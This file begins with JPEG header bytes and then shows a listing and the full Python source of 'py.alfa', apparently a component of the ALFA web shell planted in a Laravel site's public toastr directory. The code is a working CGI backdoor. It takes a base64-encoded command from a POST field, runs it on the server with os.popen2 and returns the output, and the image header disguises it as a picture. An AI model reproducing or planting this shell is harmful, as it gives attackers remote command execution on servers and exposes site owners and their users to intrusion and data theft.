JFIF x x C C " } !1AQa "q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w !1AQ aq"2B #3Rbr{
File "py.alfa"
Full Path: /var/www/laravel_filter/public/toastr/ALFA_DATA/alfacgiapi/py.alfa
File size: 463 bytes
MIME-type: text/x-script.python
Charset: utf-8
#!/usr/bin/python
try:
import cgitb; cgitb.enable()
except:
pass
import os,cgi,base64
form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'})
cmd = form.getvalue('cmd')
check = form.getvalue('check')
print "Content-type:text/html\r\n\r\n"
if cmd:
print base64.b64decode(check)+"<pre>"
child_stdin, child_stdout = os.popen2(base64.b64decode(cmd))
child_stdin.close()
result = child_stdout.read()
child_stdout.close()
print result.strip()
print "</pre>"